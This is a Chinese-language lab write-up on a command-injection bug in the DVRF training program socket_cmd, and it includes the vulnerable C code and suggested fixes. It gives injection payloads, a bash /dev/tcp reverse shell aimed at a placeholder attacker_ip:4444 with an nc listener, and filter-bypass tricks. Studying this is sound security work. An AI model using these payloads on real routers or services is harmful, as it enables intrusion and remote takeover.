路由器漏洞挖掘之命令执行
字数 1097 2025-08-22 12:22:36
路由器漏洞挖掘之命令执行漏洞分析与利用
漏洞概述
本文分析的是一个典型的IoT设备命令注入漏洞案例,来源于DVRF项目的pwnable/ShellCode_Required/socket_cmd程序。该漏洞存在于一个网络服务程序中,允许攻击者通过精心构造的输入实现任意命令执行。
漏洞代码分析
程序功能
程序是一个简单的网络服务,主要功能包括:
- 绑定到指定端口进行监听
- 接受客户端连接
- 读取客户端发送的字符串
- 执行
echo命令输出该字符串 - 将结果返回给客户端
关键代码片段
while(1) {
bzero(str, 200);
write(comm_fd, "Send me a string:",17);
read(comm_fd,str,200);
if (!strcasecmp(str, "exit")){
write(comm_fd, "Exiting...");
exit(0);
}
snprintf(endstr, sizeof(endstr), "echo %s", str);
system(endstr);
bzero(endstr, 100);
snprintf(endstr, sizeof(endstr), "You sent me %s", str);
write(comm_fd, endstr, strlen(endstr)+1);
}
漏洞点
漏洞存在于以下代码行:
snprintf(endstr, sizeof(endstr), "echo %s", str);
system(endstr);
程序直接将用户输入str拼接到echo命令后,然后通过system()函数执行,没有进行任何过滤或转义。
漏洞利用方法
基本注入方式
由于用户输入被直接拼接到echo命令后,可以使用以下方式注入额外命令:
-
分号(;)注入:
123;ls这将执行
echo 123和ls两个命令 -
管道符(|)注入:
123|ls这将执行
echo 123并将输出通过管道传递给ls命令
反弹shell技术
由于命令执行结果只在服务端显示,我们需要反弹shell来获取交互式访问:
-
基本反弹shell命令:
bash -i >& /dev/tcp/ip/port 0>&1 -
实际利用时需要绕过空格限制:
123;bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'使用
bash -c将整个反弹shell命令作为参数传递
利用步骤
-
在攻击机上监听端口:
nc -lvnp 4444 -
连接目标服务并发送payload:
nc target_ip target_port Send me a string:123;bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'
漏洞修复建议
-
输入验证:
- 对用户输入进行严格过滤,禁止特殊字符如
;、|、&等 - 使用白名单机制,只允许特定字符集
- 对用户输入进行严格过滤,禁止特殊字符如
-
安全函数使用:
- 避免直接使用
system()函数执行用户输入 - 使用
execve()等更安全的函数,并明确指定参数
- 避免直接使用
-
最小权限原则:
- 以最低权限运行服务程序
- 使用chroot等机制限制文件系统访问
扩展思考
-
其他注入方式:
- 反引号(
`)命令替换 $(command)形式的命令替换&&和||逻辑操作符利用
- 反引号(
-
输出重定向利用:
- 可以将命令结果写入web目录,然后通过HTTP访问
- 使用DNS或ICMP等协议外带数据
-
绕过技术:
- 当特殊字符被过滤时,可以使用变量替换、编码等方式绕过
- 例如:
${IFS}代替空格,$()代替反引号
总结
该案例展示了IoT设备中常见的命令注入漏洞模式,通过分析我们可以了解到:
- 不安全的用户输入处理会导致严重的安全问题
- 简单的网络服务也可能存在高危漏洞
- 命令注入漏洞的利用方式多样,防御需要考虑全面
- 在IoT设备固件分析中,应特别关注网络服务中的命令执行点
这种类型的漏洞在路由器等IoT设备中较为常见,是固件安全分析的重点检查项之一。